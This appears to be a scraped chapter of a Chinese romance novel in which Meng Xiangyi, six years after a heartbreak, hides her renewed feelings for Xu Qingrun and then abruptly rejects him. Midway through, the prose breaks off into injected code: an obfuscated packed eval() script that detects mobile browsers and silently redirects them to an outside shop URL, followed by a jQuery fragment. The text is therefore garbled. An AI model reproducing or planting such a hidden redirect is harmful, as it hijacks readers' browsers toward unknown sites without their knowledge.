见孟向宜挂完之后,许青润轻柔地蹲下身子把孟向宜放到地面。
孟向宜未言一语,表情也刻意地没做什么变化,自顾自往收银台走,心不在焉地挎上包后,才敢回头看一眼许青润。
他还是那样轻松地、自然地笑着。
孟向宜心里却十分慌乱。
原来人真的能反复对一个人心动。
自从许青润说要追她之后,孟向宜一直在用一种不痛不痒的方式对待他。
爱和恨都是浓烈的情绪,只有用中庸的态度对待他才真正是放下的表现。
因此她很放心和他保持正常的距离的相处,她笃定自己不会犯从前一样的错。
但她没想到,原来她的心智这么不坚定。
许青润只是那样张扬地朝她笑,她就又无可救药地喜欢上他。
许青润看孟向宜已经在门口拿上包,也立马拿上自己的东西走到工作室门口,“我们是不是可以回家了?”
孟向宜没说话,只点了下头。
这次坐在许青润的副驾驶上孟向宜没装睡,她看着窗外发呆,脑子里控制不住地一遍遍回溯刚才的场景。
许青润觉得奇怪,往日里孟向宜虽然也不太爱搭理他,但整个人看起来的状态却很随意,今天他罕见地从孟向宜身上看出一种紧绷的情绪。
而且自从他们从工作室出来之后,直到现在她一个字都没和他说,连最简单的“嗯”都没回过他。
趁着等红灯,许青润偏头看向笼罩着忧郁气息的女生,打开扶手箱里拿出一瓶燕麦奶递给她,“怎么看起来心情不好,太累了吗?”
孟向宜没接牛奶,甚至头也没回,轻轻摇了摇头。
许青润握着燕麦奶的手紧了紧,在转回视线之前无意间看见孟向宜红透的耳朵。
电光火石间,许青润蓦然想起一些细节。
孟向宜真正不和他说一个字是从挂完风铃符之后,他将孟向宜放下来,孟向宜很奇怪地假装去忙,明明工作已经盘点整理完毕。
方才的疑问瞬间通透,许青润眼底露出清明之意。
难道是孟向宜对他动心了?
一定是这样,不然孟向宜怎么会慌乱得连看都不敢看他一眼。
得到这个肯定的答案后,许青润忍不住扬起唇角笑出声。
孟向宜透过车窗反射看男人的表情,觉得奇怪皱了下眉头,开车有什么好笑的?
到了香居水榭后,孟向宜没等他锁车,先一步往停车场出口走。
许青润快步跟上她,更加笃定孟向宜是动心了才这么不敢面对他。
他心情很好地走在路上,喜悦之意连孟向宜都感受到了。
孟向宜很想问,我都这么绝望了,你到底在高兴什么?
却不敢再和他有任何交流。
许青润将人送到18栋楼下,没让孟向宜进去,先一步挡在她面前。
孟向宜没说话,眉心蹙着看他,脸颊带着淡粉。
许青润弯下身子凑近她,“向宜,你是不是有一点喜欢上我了?”
孟向宜睁大了眼睛,满脸不可思议。
她有这么藏不住事吗,明明都这么克制地一句话都没理他,居然还能被发现。
她就知道这人笑了一路肯定没好事,果然在这里等着她。
孟向宜换上一副凶狠的表情,唇角平直紧绷
,“你好自恋”。
许青润还是笑嘻嘻的,“真的吗?一点都没有吗?”
孟向宜:“一点都没有!好感度为0”。
听完这话,许青润非但没有孟向宜想象中的失落表情,反倒脸上漾开笑容。
许青润看女生炸毛后虚张声势和他放狠话的样子,和恼羞成怒这个词的意思完全适配,彻底确定自己想的就是事实。
孟向宜真的喜欢上他了,至少有一点点。
他没拆穿,还是那副温柔的模样,“那好吧,看来我已经从负变成零,马上就要变为正数了。”
孟向宜被他噎住,“你……”。
许青润话未说完,“还有,你知不知道你这样很可爱。”
孟向宜彻底哑住,脸颊粉色加深。
许青润在这时让开了路,语气散漫,“早点休息哦,晚安”。
没得到她的回复,却清楚地看见孟向宜进电梯前往外看了一眼他的位置,和他对视上后又立马转头。
心里像棉花糖一样柔软,带着丝丝甜意。
倒是孟向宜这段时间快疯了,总觉得自己怪怪的,在流理台插花的时候视线总忍不住往沙发上瞟,在那人有起身的动向时第一时间发现,然后躲到后台隔间。
而后偷偷打开一点门缝,看到他回沙发上才敢出来继续插花。
她刻意地减少两人的交流,偏偏4s店打电话来说换电瓶需要一周,而突然说不坐他的车又显得心虚。
于是孟向宜又干回老本行,在他车上装睡。
大概是装睡久了,加上工作确实太累,孟向宜这天居然真的睡着了。
许青润已经习惯副驾驶的人一上车就开始装睡,到香居水榭前不用叫就自己醒来。
他没多说什么,觉得孟向宜害羞的话,他愿意和她一起慢慢适应这份感情。
今天却发现孟向宜好像是真的睡着了。
许青润习惯孟向宜飞快的下车速度,为了跟上她也开始一停好车就立马下车,这会儿下车却见孟向宜还没下来,他绕到副驾驶那边,把车门打开。
孟向宜不论是否装睡,脸颊都只会朝向车窗那边。
许青润看见孟向宜的睡颜,长长的睫毛投下一片阴影,显得舒展恬淡,他唇角勾起。
能感受到她均匀的呼吸,也是一件幸福的事。
凑近一点仔细看时,却发现孟向宜睡觉的时候眉头还紧锁着。
许青润很诧异,孟向宜最近有烦心的事吗?不会是和他有关吧。
他犹豫很久,最终还是伸出食指的指腹,附在孟向宜眉心上,轻柔地揉开她眉心的褶皱。
秋风萧瑟,停车场刮过一阵凉风。
车门被打开,孟向宜清晰地感受到风的凉意,醒了过来。
睁眼看到的便是按在她眉心的手指,以及距离很近的清隽的面庞。
几乎是看到的第一刻,孟向宜眼角湿润。
因为这个画面她六年前梦到过。
孟向宜突然觉得很伤心,伴随着六年前的记忆涌上心头。
如果他没有变心过,如果他那时也喜欢她。
也许现在他们真的能成为亲密无间的伴侣。
可是她没办法忘掉他揽住另一个女孩的画面,那时的决绝转身,让怀揣一腔孤勇的少女消失。
从此,再也没有人能比十七岁的孟向宜更勇敢,包括她自己。
心像被两股力量拉扯着,产生撕裂的痛感。
一边是蹲在机场将脑袋埋进臂弯里止不住泪水的十七岁,一边是忍不住又一次动心被他吸引的二十三岁。
无法忽视心脏不正常的跳动,更无法背叛那个决意让许青润从自己世界消失的誓言。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865965|212195||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
孟向宜选择逃避。
她偏头转向另一侧,缓了缓带着水雾的眼睛。
许青润一眼看见孟向宜湿润的眼角,心下一惊,无措地立刻收回手。
看孟向宜好像是因为醒来看见他心情变得低落,他干巴巴地解释,“我看你睡觉的时候还皱着眉头,认识一个中医说这样不好,想帮你抚平”。
孟向宜眼睛朝上看压住想落泪的冲动,调整呼吸控制情绪。
她这几天想得很清楚。
六年了,她和以前不一样,许青润也和过去她喜欢的那个少年相去甚远。
在她最期待得到许青润的告白时没有听到,之后再怎样做都无法弥补心底那层空洞。
爱是需要天时地利的,错过的那年夏天,永远不会再次回来,她该学会当断则断。
孟向宜深呼一口气,再次面向许青润,“许青润,你不要再追我了,我是不会喜欢上你的”。
许青润眉头紧锁,不明白为什么突然发展到这一步,“为什么?”
孟向宜语气冷硬,“不喜欢一个人没有原因”。
许青润想不通孟向宜态度突然转变得这么快的原因,想了很久或许只跟她刚做的梦有关,他试探性地问,“是你梦到一些关于我不好的事情了吗?”
孟向宜强压住再次翻涌的泪水,理智地没有顺着他的话说,“和梦没关系,我不喜欢你,我们及时止损吧”。
孟向宜顿了顿,接着开口是更冰冷的话,“你每一次来找我,我都觉得很厌烦,所以请你之后不要再纠缠我了”。
许青润第一次被孟向宜用不带一点情面的方式对待,无措地手指握拳。
孟向宜很讨厌他吗?可是前几天的动心分明不是假的。
他喉结滚了滚,凑近到孟向宜面前,不想漏掉她每一个细微的表情。
“向宜,我不知道你为什么突然看起来这么伤心,如果是因为梦里的我导致的话,那我向你道歉,对不起”。
他看到孟向宜的视线瞥向一边,不再看他,知道这段话也许有作用,于是继续开口,“但我不接受这样随意的拒绝,我之前说如果你感受到有压力可以随时喊停,但我总需要一个你不喜欢我的理由,你不要像这样不给我任何辩解的机会就把我拒之门外好不好?”
孟向宜没看他,却在认真听他说的每一句话,越听牙关咬得越紧。
她要怎么给他一个理由呢?因为她发现自己已经喜欢上他了所以才必须要拒绝他?这句话她无论如何也说不出口。
孟向宜察觉到许青润保持原来的动作在等她的回应,没理他,拿着包想下车,无可避免地对上许青润的视线,“让一下”。
许青润姿势没变,看上去像把人堵在车里,他定定地看着孟向宜的眼睛,试图从深棕色的瞳孔中看出她隐藏的情绪。
最终还是败下阵来,他靠在车门上,方便孟向宜下车。
孟向宜下车后刻意想甩开他走得很快,许青润保持距离跟在她身后,直到亲眼看她进了电梯。
孟向宜回国之后,他常在送完她回家后站在这里,却没有一次的心情是像今晚这样,如坠冰窖般无助。
想过孟向宜会拒绝他,却从没想过是用这样决绝的,不给一丝辩解机会的方式。
许青润蹲在路边的花坛前面,突然很想抽烟。
他没有烟瘾,只觉得现在如果不抽的话心里很空,想用烟雾压住堵着的酸涩。
最终还是没抽,回家后开了瓶在孟向宜家里喝过的酒,一整瓶灌完后沉沉睡下。